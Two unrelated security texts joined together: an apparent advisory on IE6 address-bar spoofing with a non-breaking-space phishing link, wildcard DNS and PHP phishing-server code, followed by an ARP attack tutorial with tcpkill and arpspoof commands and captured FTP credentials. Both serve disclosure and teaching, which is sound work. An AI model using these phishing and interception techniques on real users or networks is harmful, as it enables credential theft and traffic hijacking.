Address Bar Spoofing Attacks against Microsoft Internet Explorer 6



             



Summary
=======

IE6 is the second most popular web browser (after IE7), with
market share of around 25% (according to recent surveys e.g.
http://marketshare.hitslink.com/report.aspx?qprid=2).

This write-up presents two new phishing attack techniques,
abusing an address bar issue (security vulnerability) with IE6 in
combination with non-standard DNS domain names. The net result is
that a phishing site may present itself via a link that when
clicked in IE6 displays an almost indistinguishable URL from the
one in used by the genuine site. The technique is new, i.e. it's
different than the ASCII similar characters and IDN homographs
attacks.

There are two techniques: the first technique presents an address
bar which is very similar (visually) to the address bar expected
for the genuine domain, by abusing the NBSP character. The second
technique presents an address bar visually identical to the one
expected for the genuine domain, using the fact that a non-DNSish
characters are not displayed in the address bar in some cases.
This technique requires registration of a non-standard domain,
hence it is probably theoretic only (although "site down"
imitation is still possible).

The attacks were verified with Windows XP SP2 and Windows XP SP3.



Introduction
============

URLs typically include host name, which tells the browser (after
DNS resolution) where to fetch the resource from. While regular
host names contain alphanumeric characters (a-z, A-Z and 0-9),
dots, hyphens and (in Intranets only) underscores, it is possible
to construct (at least syntactically) URLs whose host part
contain any octet (as explained in RFC 1035 section 3.1). The
interpretation of such characters when presented as links (when
IDN is not supported by the browser, see below) by the browser
and by the DNS infrastructure, as well as the way those
characters are presented by the browser (in the address bar) are
the subject of this write-up.

Non-DNS characters can be provided to the browser in several ways
(assuming e.g. an anchor HTML tag context):
*    In raw form, i.e. as a byte (octet), e.g. $
*    In HTML-encoded form, e.g. $
*    In URL-encoded form, e.g. %24

In raw form, the data is provided as-is. In HTML-encoded form,
the data is considered Unicode, and may undergo encoding. In URL-
encoded format, the data is (again) directly decodable into raw
form. The difference is subtle, but important. The octet values
00-7F (corresponding to the ASCII characters) have a single
interpretation across all systems. However, octet values 80-FF
may have different interpretation depending on the code page and
encoding system in use.



Address bar spoofing in IE6
===========================

Non-DNS characters
------------------
Within the ASCII range (00-7F), only the DNS subset of ASCII
characters is allowed.
As for higher values (e.g. A9 or %A9): IE6 uses DnsQuery_A to
resolve the name. DnsQuery_A assumes that the characters are in
the "current" Windows ANSI codepage (e.g. Windows-1252 or
Windows-1255, see
http://www.microsoft.com/globaldev/reference/WinCP.mspx for a
list of Single Byte code pages). It translates the characters
into UTF-8 representation and sends them this way. So %A9 is URL-
decoded into the byte (\xA9) by IE6, then this raw byte is
forwarded to DnsQuery_A, which interprets it according to the
current codepage (e.g. Windows-1252 or Windows-1255) as
COPYRIGHT_SIGN, moves to Unicode (U+00A9), and UTF-8 encodes this
symbol (into the 2 byte sequence (\xC2) (\xA9)). The net result
is that http://www.foo%A9bar.com goes out as a DNS query on
www.foo(\xC2)(\xA9)bar.com.
As it happens, almost all single-byte character sets (Windows-
1250...Windows-1258) interpret (\xA9) as COPYRIGHT_SIGN, and the
one exception being Windows-874 (Thai) which does not.

NOTE: the code page for a particular Windows box is determined
through the Control Panel (Regional and Language Options ->
advanced [tab], in the Languages for non-Unicode programs). The
Windows ANSI code page is derived from the language specified via
the table as provided in http://msdn.microsoft.com/en-
us/library/ms776260.aspx. For example, if the language is English
(all variants) then the Windows ANSI code page is 1252, whereas
if the language is Hebrew, then the Windows ANSI code page is
1255. As can be seen, the only languages whose code page is not
Windows-1250...Windows-1258 are the far east languages Chinese,
Japanese, Korean and Thai. So with the exception of these
languages, IE6 will request a DNS resolution for
www.foo(\xC2)(\xA9)bar.com when it navigates to
http://www.foo%A9bar.com/.


Attack #1: Raw/HTML-encoded characters
--------------------------------------

IE6 allows "raw" high-bit characters to be typed in the address
bar, e.g.

http://www.foo(c)bar.com/

In such case, the character is displayed in the address bar
(unlike %A9 which is not).

It is possible to present this URL in a link, e.g.:

<a href="http://www.foo&#x00A9;bar.com">FooBar</a>

NOTE: An HTML-encoded character is displayed as the corresponding
Unicode symbol. However, if this symbol is not mapped to the
current code page, IE will not resolve the host name (it shows an
"invalid syntax" error page).

A more interesting, and phishing related example is using the
Non-Blocking Space character (NBSP, Unicode U+00A0). This
character is rendered in the address bar as a space (NBSP is
mapped as 0xA0 in all single-byte character set codepages, i.e.
Windows-1250...Windows-1258 and Windows-874). Thus it opens up an
address bar spoofing trick similar in effect to a one already
disclosed (first reported in BugTraq December 2003:
http://www.securityfocus.com/archive/1/346948, then picked up by
CERT http://www.kb.cert.org/vuls/id/652278 and fixed by Microsoft
as MS04-004).
For example, consider the following phishing link (mimicking
www.yourbankhere.com, yet the real page is served from the domain
phish.site):

<a
href="http://www.yourbankhere.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n
bsp;&nbsp;.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;.phish.site/">YourBankHere</a>

It should be noted that auto-complete does work for these URLs.

When the address bar box is not wide enough to show the whole
URL, the picture is almost identical to that of the genuine URL
(notice there's no slash after the host name, and the additional
dots). When the address bar is at its full width, some users may
still be fooled as the real domain is way off to the right,
separated from the left part of the hostname by many white
spaces. This shows up visually as (may wrap around in the text):

http://www.yourbankhere.com                             
.                               .             .phish.site/

The attack can be easily implemented using DNS wildcard mapping,
assuming the attacker controls the phish.site domain. The
attacker simply needs to add the following line for the
phish.site zone configuration file (tested with BIND9):

*.phish.site.    IN    A    ...IP address...

Note that the Host header will contain raw 0xA0 bytes. So by
including the following PHP code in the index.php of the phishing
server, the attacker can cater for multiple simultaneous phishing
attacks:

<?php
$match=array();
preg_match("/^([a-zA-Z0-9_.-]+)\\xA0/",
           $_SERVER['HTTP_HOST'],$match);
echo "This is a phishing site for ".$match[1];
?>


Attack #2 (theoretic): URL-encoded characters
---------------------------------------------
It's possible to include URL-encoded characters in the address
bar of IE6. IE6 URL-decodes them before querying the DNS, and
internally this is how they are kept.

Now, here's where it gets interesting: high-bit characters will
not be displayed in the address bar. So instead of showing
visually as "http://www.foo%A9bar.com/" (or
"http://www.foo(c)bar.com/") as one may expect, the address bar
will show "http://www.foobar.com/".

Theoretically, this can be used for phishing. A phisher can
register, say foo(\xC2)(\xA9)bar.com and use that in a phishing
URL (http://www.foo%A9bar.com/). When clicked, the IE6 address
bar will display the expected URL, http://www.foobar.com/.
However, this vulnerability seems to be theoretic only, since (in
the author's limited experience), it's not possible
administratively to register such domain names.

As for domain security, as far as IE6 is concerned, these are two
different domains. Cookies are not shared, access across domains
is denied, SSL certificate will not match, etc. Also, the Host
header includes the value with the original raw character - i.e.
the Host header is:

Host: www.foo(\xA9)bar.com

Even if no real domain can be registered, this can still be
somewhat of an annoyance. For example, spam can offer a URL as
evidence that a company's site is not available, or was hacked.
So if an attacker wants to defame www.foobar.com, he may do so by
sending spam with text such as "foobar inc. went chapter 11 -
site is down. Check out http://www.foo%A9bar.com/". This will end
up in DNS resolution failure.

Auto-completion applies to the address bar string (not the real
URL), hence auto-completing, say, www.fo will result in
www.foobar.com (the real domain name), and the browser will
navigate to the genuine site.



Vendor status
=============

Microsoft (MSRC) was informed of the two issues on January 13th,
2008. MSRC acknowledged the two problems and assigned the first
one the ticket MSRC7899, and the second one MSRC7900. However,
Microsoft declined to fix the issues.



Additional notes and observations
=================================


Label and name lengths
----------------------

Labels are limited (per RFC 1034 section 2.3.4) to 63 octets.
This means that no more than 31 consecutive NBSPs can be used.
The trick is to split them into labels (by inserting a dot).
Names are limited to 255 octets (per RFC 1034 section 2.3.4).
This includes the accumulated length of all labels, plus a length
octet preceding all labels (including the 0-length root label).
Apparently, both restrictions are enforced by DnsQuery_A (in
fact, names are limited to 254-256 bytes, including dots).

Additionally, it seems that a non-DNS character counts as 3
octets towards the total name limit (but not towards the label
length limit). A possible explanation is that when a non-ASCII
character is encountered, the worst case UTF-8 representation
length is used (3 octets) rather than the actual UTF-8
rerpesentation length (2 bytes for characters whose Unicode index
is smaller than 0x800 e.g. NBSP, 3 bytes for all other Unicode
characters). Thus, it is impossible to use more than 85 such
characters.


HTTP Caching
------------

There seems to be an additional bug in IE6 regarding how
resources whose URL contain high-bit set bytes are cached. The
key URL is constructed in an erroneous manner. It seems that the
key is constructed as following: take the string consisting of
the URL-encoded URL, e.g. http://www.foo%A9bar.com/, and
overwrite it with the decoded (shorter) URL,
http://www.foo(\xA9)bar.com/, in this case resulting in
http://www.foo(\xA9)bar.comom/. Obviously no regular URL will
match this key, so the caching is meaningless.

The key used for caching retrieval is probably the URL-encoded
version of the URL. And since it's never there, the effect is of
no-caching.


DNS caching
-----------

It was also verified that BIND 9 (the most popular DNS server
software) is capable of serving such domains, both as an
authoritative server and as a caching DNS server (verified with
BIND 9.2.4 as an authoritative and caching server, and 9.4.1-P1
as a caching server). In order to configure BIND to serve the
domain as an authoritative name server, the high-bit bytes
(\xC2)(\xA9) should be inserted to the zone file. Care should be
exercised here with the choice of editor, since some text editors
don't handle high-bit bytes well. It is advised to review the
file contents with a hex-dump tool (e.g. od) to ensure that the
correct bytes were entered.

Windows DNS server (verified with Windows 2003 for Small Business
Server SP2) as a cache server also supports such domain names (no
testing was done regarding Windows DNS server as an authoritative
server).


Root and TLD support
--------------------

Apparently, the root servers and the .COM/.NET gTLD servers are
indifferent to non-ASCII characters in sub-domains, and they will
happily respond to such queries pointing at the authoritative DNS
server (which would be the attacker's server).


IDN and homographs
------------------

The first attack, while abusing the same underlying phenomenon
(different logical symbols which are rendered into graphically
identical or almost indistinguishable forms - SP and NBSP in our
case) is nonetheless completely different than the homograph
attack (http://www.shmoo.com/idn/homograph.txt), which makes use
of the IDN extension to DNS.

The second (theoretic) attack is completely different because the
non-DNS characters simply do not appear in the address bar.








Author's additional notes:


I noticed that some of the crucial information may have been "reformatted" on the way.                                               
So please note that the HTML markup in attack #1 is                                                                                    
                                                                                                                                       
<a href="http://www.yourbankhere.com                                                                                                   
followed by 30 ampersand-NBSP-semicolon, followed by a dot followed by                                                                 
another 31 ampersand-NBSP-semicolon followed by a dot, followed by 13                                                                  
ampersand-NBSP-semicolon followed by a dot followed by                                                                                 
phish.site/">YourBankHere</a>                                                                                                          
                                                                                                                                       
The address bar appears like                                                                                                           
"http://www.yourbankhere.com" followed by 30 spaces, a dot, 31 spaces, a                                                               
dot, 13 spaces, a dot and finally "phish.site/"                                                                                        
                                                                                                                                       
                                                                                                                               
                                       

Understanding Address Resolution Protocol Attacks

Understanding Address Resolution Protocol Attacks


Copyright (c) 2006 cijfer <cijfer@netti!fi>
All rights reserved.

Table of Contents

   1 About this paper
   2 Introduction to ARP
       2.1 What does ARP mean?
       2.2 The purpose of ARP cache
       2.3 How ARP works
       2.4 Protocol flaws
   3 ARP attack methods
       3.1 Terms & definitions
       3.2 Connection hijacking & interception
       3.3 Connection resetting
       3.4 Man in the middle
       3.5 Packet sniffing
       3.6 Denial of service
   4 References & links
       4.1 Documents
       4.2 Software & programs
   5 Greets

1 About this paper

   In this particular paper, i will be discussing accordingly
   a basic introduction to understanding Address Resolution
   Protocol (ARP) as well as several methods of attack. These
   methods . in no specific order . include detailed
   explanations for hijacking and resetting a users connection
   and/or session, man in the middle attacks, packet sniffing
   on switched environments, and denial of service attacks
   (DoS).

   Concluding the introduction and other sections, i will give
   several links to documents, software, and such to help aid
   in further reference of ARP.

2 Introduction to ARP

 2.1 What does ARP mean?

   Address Resolution Protocol (ARP) . a stateless protocol .
   was designed to map Internet Protocol addresses (IP) to
   their associated Media Access Control (MAC) addresses. This
   being said, by mapping a 32 bit IP address to an associated
   48 bit MAC address via attached Ethernet devices, a
   communication between local nodes can be made.

   On a majority of operating systems . such as Linux, FreeBSD,
   and other UNIX based operating systems, and even including
   Windows . the "arp" program is present. This program can be
   used to display and/or modify ARP cache entries. By simply
   running "arp -na" in your terminal, a list of current
   entries in the local ARP cache will show. This includes IP
   addresses, hardware types, MAC (HWaddress) addresses, flag
   masks, associated NIC interfaces, and link types (output
   may vary depending on system).

   An example of the "arp" utility's output would look like the
   following:

    Windows:
     > arp -a
     Interface: 192.168.1.100 .- 0x10003
     Internet Address      Physical Address      Type
     192.168.1.1           00-13-10-23-9a-53     dynamic

    Linux:
     $ arp -na
     ? (192.168.1.1) at 00:90:B1:DC:F8:C0 [ether] on eth0

    FreeBSD:
     $ arp -na
     ? (192.168.1.1) at 00:00:0c:3e:4d:49 on bge0

   You will notice also that on the Windows example, the Type
   for that particular entry is labeled as "dynamic". Dynamic
   entries in the ARP cache are eligible to be purged from the
   cache. This is avoidable if the entry is labeled as static
   or permanent which is self explanatory by its name. I will
   get into static ARP entries near the end of this paper.

 2.2 The purpose of ARP cache

   As stated in section 2.1, the Address Resolution Protocol
   was designed to map IP addresses to MAC addresses. ARP uses
   a cache to keep track of these addresses in a table known as
   the ARP cache. The ARP cache . like any other cache . has
   data stored only temporarily. The average amount of time
   that data is stored in this cache, is normally between 1
   minute to 10 minutes. The Time to Live (TTL) however can be
   much greater than that, such as with Cisco routers, which
   have an estimate TTL of 4 hours. Each system has a different
   TTL period until non-permanent data is cleared - Previous
   cache entries which are obsolete and not used waste space
   and have no purpose being there. Therefore, entries  are
   either updated or purged from the cache completely.

   As stated, the ARP cache has a job to maintain ARP replies
   and data. To reduce the amount of ARP cache entries, the ARP
   cache updates with the newly received IP addresses and
   corresponding MAC address. It does this as a method of
   reducing network traffic. If i were to map the hardware
   address of another node on my local network, the ARP cache
   holds its entry in the cache so i do not have to
   continuously map it out during my communication.

 2.3 How ARP works

   Specifically for Internet Protocol Version 4 (IPv4), ARP
   maps IP addresses between the Network layer and Data Link
   layer of the Open System Interconnection (OSI) model.

   The Data Link layer is split into two sublayers, The Media
   Access Control layer, and the Logical Link Control layer.
   The MAC layer has the power to control access to data flow
   and whether or not transmission is permitted. The Logical
   Link Control layer's job however is to control frame
   synchronization, packet flow (like MAC), and error checking
   throughout data packets. These two sublayers work together
   to create the Data Link layer.

   The next step for successful packet transmission is the most
   important. Transmission itself. The Network layer provides
   the switching and routing by transmitting data between nodes
   on a network. Not only is packet transmission a part of this
   layer, but also addressing, internetworking, error handling,
   and packet sequencing. This layer ensures that each packet
   is sent accordingly to their final destinations without
   errors and possible collision.

   For a more complete and thorough explanation of how address
   resolution works, and protocol specifics, please consult RFC
   826 (David C. Plummer, 1982). RFC 826 was written in 1982 by
   C. Plummer, and is considered to be outdated and complicated
   material to the neophytes. Consult the end of this paper in
   section 5.1 for links to papers regarding ARP, MAC, and
   further discussions on ARP based attacks.
 
 2.4 Protocol flaws

   ARP's main flaw is in its cache. Knowing that it is possible
   for ARP to update existing entries as well as add to the
   cache, this leads one to believe that forged replies can be
   made, which result in ARP cache poisoning attacks. I will
   discuss each type of attack in section 3 as well as terms
   and definitions reviewed in section 3.1.

3 ARP attack methods

 3.1 Terms & definitions

   A. ARP Cache Poisoning
      Broadcasting forged ARP replies on a local network. In a
      sense, "fooling" nodes on the network. This can be done
      because ARP lacks authentication features, thus blindly
      accepting any request and reply that is received or sent.
     
   B. MAC Address Flooding
      An ARP cache poisoning attack that is mainly used in
      switched environments. By flooding a switch with fake MAC
      addresses, a switch is overloaded. Because of this, it
      broadcasts all network traffic to every connected node.
      This outcome is referred to as "broadcast mode" because,
      all traffic passing through the switch is broadcasted out
      like a Hub would do. This then can result in sniffing all
      network traffic.
   
 3.2 Connection hijacking & interception

   Packet or connection hijacking and interception is the act
   in which any connected client can be victimized into getting
   their connection manipulated in a way that it is possible to
   take complete control over.

   Those whom may be vulnerable to this type of attack, usually
   connect to servers and computers via unencrypted protocols
   such as Telnet or Rlogin. This can result in sniffing, as
   well as connection hijacking and interception.

 3.3 Connection resetting

   The name explains itself very well. When we are resetting
   a client's connection, we are cutting their connection to
   the system. This can be easily done using specially crafted
   code to do so. Luckily, we have wonderful software that was
   made to aid us in doing so.

   One piece of code that is extremely easy to use to do this,
   is within the DSniff collection. To pull this off, we're
   going to use 'tcpkill'. TCPKill's usage is similar to that
   of TCPDump, both using BPF (Berkeley Packet Filters).

    Cause:
     1. tcpkill -9 port ftp &>/dev/null
     2. tcpkill -9 host 192.168.10.30 &>/dev/null
     3. tcpkill -9 port 53 and port 8000 &>/dev/null
     4. tcpkill -9 net 192.168.10 &>/dev/null
     5. tcpkill -9 net 192.168.10 and port 22 &>/dev/null

    Effect:
     1. Kill connections attempting to access port 21 (ftp)
     2. Kill connections matching the IP '192.168.10.30'
     3. Kill connections attempting to access port 53 and 8000
     4. Kill connections 192.168.10.* (192.168.10.0/24)
     5. Kill connections 192.168.10.* accessing port 22

   TCPKill is mainly used to continously keep the connection of
   the client cut. By simply killing the 'tcpkill' process
   after use, will allow the connection to become available
   again. If not, then the remote client will cease to be able
   to connect.

 3.4 Man in the middle

   One of the more prominent ways of attacking another user in
   order to hijack their traffic, is by means of a Man In The
   Middle (MITM) attack. Unlike the other attacks, a MITM is
   more a packet manipulation attack which in the end however
   does result in packet redirection to the attacker . all
   traffic will get sent to the attacker doing the MITM
   attack. This attack however is specific. As opposed to MAC
   Address Flooding or other attacks against a router/switch,
   the MITM attack is against a victim, and also can be done
   outside of a switched environment. Thus meaning, an attack
   can be executed against a person on the other side of the
   country . to be more thorough.

   Downsides of a MITM attack is the fact that the victim must
   be connected via an unencrypted protocol. Utilities such as
   Telnet, and Rlogin can be attacked via MITM attacks. There
   also is the possibility of executing a MITM attack against
   encrypted protocols . such as SSH - but I will not get into
   that in this paper.

   A MITM attack could be of great use on operating systems
   such as SunOS/Solaris and IRIX, due to the fact that one of
   the main modes of connection to these operating systems
   happens to be Telnet and Rlogin. Rarely do i see the older
   versions of these operating systems using SSH.

   A basic MITM attack consists of an attacker, victim and
   the target/destination that the victim is communicating
   with. Using a visual representation of this attack would be
   a lot more confusing, so I'm just going to subtly explain
   what is occurring when doing this specific attack. But
   before i begin explaining that, we need to do one thing:

   Enable IP forwarding if not already default.

    Linux:
     # echo 1 > /proc/sys/net/ipv4/ip_forward

    Other:
     # sysctl -w net.inet.ip.forwarding=1
       -OR-
     edit /etc/sysctl.conf

   To double check whether or not IP forwarding is enabled,
   you can simply do the following commands:

    Linux:
     # cat /proc/sys/net/ipv4/ip_forward

    Other:
     # sysctl -A | grep net.inet.ip.forwarding

   If the value is set to "1", then IP forwarding is enabled.

   Continuing on, we're going to do this also using third party
   utilities. A suggestion for easy usage would be using the
   "arpspoof" utility by Dug Song within his DSniff package.

   One of the good reasons about the "arpspoof" utility, is the
   fact that its extremely simple to use and requires only two
   arguments. Information needed in order to use it, is the
   Victim's IP address, and the Target/Destination IP address
   that Victim is trying to authenticate with. With these two
   IP addresses, we can continue with our MITM attack. A simple
   example of what "arpspoof" will do is as followed:

    1. Communicate with Victim saying that you're Destination.
    2. Communicate with Destination saying that you're Victim.

   This can be easily done by using the following syntax via
   "arpspoof" and two open terminal windows. But before i get
   into that, i just want to make clear about the example IP
   addresses being used:

    Setup:
     Attacker (IP: 2.2.2.2)
     Victim   (IP: 1.1.1.1) <-> Target (IP: 0.0.0.0)

    Term A:
     # arpspoof -t 1.1.1.1 0.0.0.0 &>/dev/null &
     # arpspoof -t 0.0.0.0 1.1.1.1 &>/dev/null &

    Term B:
     # dsniff | less
       -OR-
     # ngrep host 1.1.1.1 | less
       -OR-
     # tcpdump host 1.1.1.1 and not arp | less

   If everything went successfully, then by using one of the
   three optional programs in Term B, you should be able to
   sniff all traffic that is being sent between Victim and the
   Target/Destination.

   If at all something did not go as planned, then there could
   be several reasons. One reason could be that the Victim has
   static ARP tables . which deny the overwriting of entries
   within the ARP cache table. Another possible reason could be
   a detection system of some sort such as ARPWatch which is an
   ethernet/ip monitoring system. As a reminder, this specific
   MITM attack will not work on encrypted protocols . explained
   in this section at paragraph 2.

 3.5 Packet sniffing

   Sniffing on a Local Area Network (LAN) is quite easy if the
   network is segmented via a hub, rather than a switch. The
   sole difference, is that a switch is organized when sending
   packets, thus entitled "switch" because it switches packets
   between destinations respectively. A hub on the other hand
   broadcasts packets throughout the entire network blindly and
   freely without any specific destination.

   It is of course possible to sniff on a switched environment
   by performing a MAC flood attack. This is vaguely explained
   in section 3.1b on MAC Address Flooding.

   As a result of the MAC flood, the switch will act as a hub,
   and allow the entire network to be sniffed. This gives you a
   chance to use any sort of sniffing software available to you
   to use against the network, and gather packets. A few
   popular sniffing software and programs include: DSniff by
   Dug Song, LinSniffer (one popular version is LinSniffer
   0.666 by humble of rhino9), PHoss by FX and Ettercap by
   Alberto Ornaghi, and Marco Valleri.

   Example output from PHoss:

    [root@genii sniff]# ./PHoss
    PHoss (Phenoelit's own security sniffer)
    (c) 1999 by Phenoelit (http://www.phenoelit.de)
    $Revision: 1.13 $
    >>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    Source:         192.168.1.100:40895
    Destination:    72.14.0.99:80
    Protocol:       HTTP
    Data:           asrtrin:manheim
    >>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    Source:         192.168.1.105:46537
    Destination:    72.14.0.99:21
    Protocol:       FTP
    Data:           buddy:holly
    [...]

   Example output from TCPDump 3.9.4 (output is not identical):

    [root@genii sniff]# tcpdump -vvX port 21
    tcpdump: listening on eth0, link-type EN10MB (Ethernet),
    capture size 96 bytes

    [...]
    00:45:40.370082 IP (tos 0x0, ttl 111, id 43980, offset 0,
    flags [DF], proto: TCP (6), length: 57) localhost.pirhana >
    localhost.ftp: P, cksum 0x434b (correct), 1:18(17) ack 38
    win 17483
    4500 0039 abcc 4000 6f06 79e6 44ad 954f  E..9..@.o.y.D..O
    5056 bbb9 11f9 0015 6595 ed3d 6f7f 82e1  PV......e..=o...
    5018 444b 434b 0000 5553 4552 206d 7975  P.DKCK..USER.myu
    7365 726e 616d 650d 0a                   sername..
    [...]

   Note that we now have a username, which is 'myusername'.

    [...]
    00:45:42.467487 IP (tos 0x0, ttl 111, id 43985, offset 0,
    flags [DF], proto: TCP (6), length: 57) localhost.pirhana >
    localhost.ftp: P, cksum 0x3e34 (correct), 18:35(17) ack 72
    win 17449
    4500 0039 abd1 4000 6f06 79e1 44ad 954f  E..9..@.o.y.D..O
    5056 bbb9 11f9 0015 6595 ed4e 6f7f 8303  PV......e..No...
    5018 4429 3e34 0000 5041 5353 206d 7970  P.D)>4..PASS.myp
    6173 7377 6f72 640d 0a                   assword..
    [...]

   And now a password, which is 'mypassword'. But is this login
   a valid one?

    [...]
    00:45:42.473412 IP (tos 0x0, ttl  64, id 53228, offset 0,
    flags [DF], proto: TCP (6), length: 62) localhost.ftp
    > localhost.pirhana: P, cksum 0xae1b (correct), 72:94(22)
    ack 35 win 5840
    4500 003e cfec 4000 4006 84c1 5056 bbb9  E..>..@.@...PV..
    44ad 954f 0015 11f9 6f7f 8303 6595 ed5f  D..O....o...e.._
    5018 16d0 ae1b 0000 3533 3020 4c6f 6769  P.......530.Logi
    6e20 696e 636f 7272 6563 742e 0d0a       n.incorrect...
    [...]

   It was not :(. But we'll know when we get a valid one :)).

 3.6 Denial of service

   Denial of service is just lame. Try not to do it unless you
   absolutely must unless for penetration testing. Denial of
   service is self explanatory. Denial of service attacks can
   occur when large amounts of unsolicited packets are targeted
   against a specific host and/or optionally on specific ports.
   This may result in the remote node to panic and close the
   port (denying its service), or even shutting down the entire
   system - possibly a reboot.

   As explained in section 3.1b, MAC Address Flooding can be
   considered a Denial of service attack. The main idea of the
   MAC flood, is to generate enough packet data to send toward
   a switch, attempting to make it panic. This of course will
   cause the switch to drop into broadcast mode and broadcast
   all packet data. This however did not result in a crash, or
   the service to be dropped, but to be overloaded.

   For further information on MAC Address Flooding, please read
   back to section 3.1B on its definition.

4 References & links
 
 4.1 Documents

   1. http://ietf.org/rfc/rfc826.txt
   2. http://networksorcery.com/enp/protocol/arp.htm
   3. http://man.he.net/?topic=arp&section=all

 4.2 Software & programs

   1. ARP0c2   - http://phenoelit.de/arpoc/
   2. Dsniff   - http://monkey.org/~dugsong/dsniff/
   3. Ettercap - http://ettercap.sourceforge.net/
   4. Hunt     - http://packetstormsecurity.org/sniffers/hunt/
   5. Ngrep    - http://ngrep.sourceforge.net/
   6. PHoss    - http://phenoelit.de/phoss/docu.html
   7. Shijack  - http://securiteam.com/tools/5QP0P0K40M.html
   8. Tcpdump  - http://tcpdump.org/

5 Greets

   x80, thank you for proof reading.

_EOF_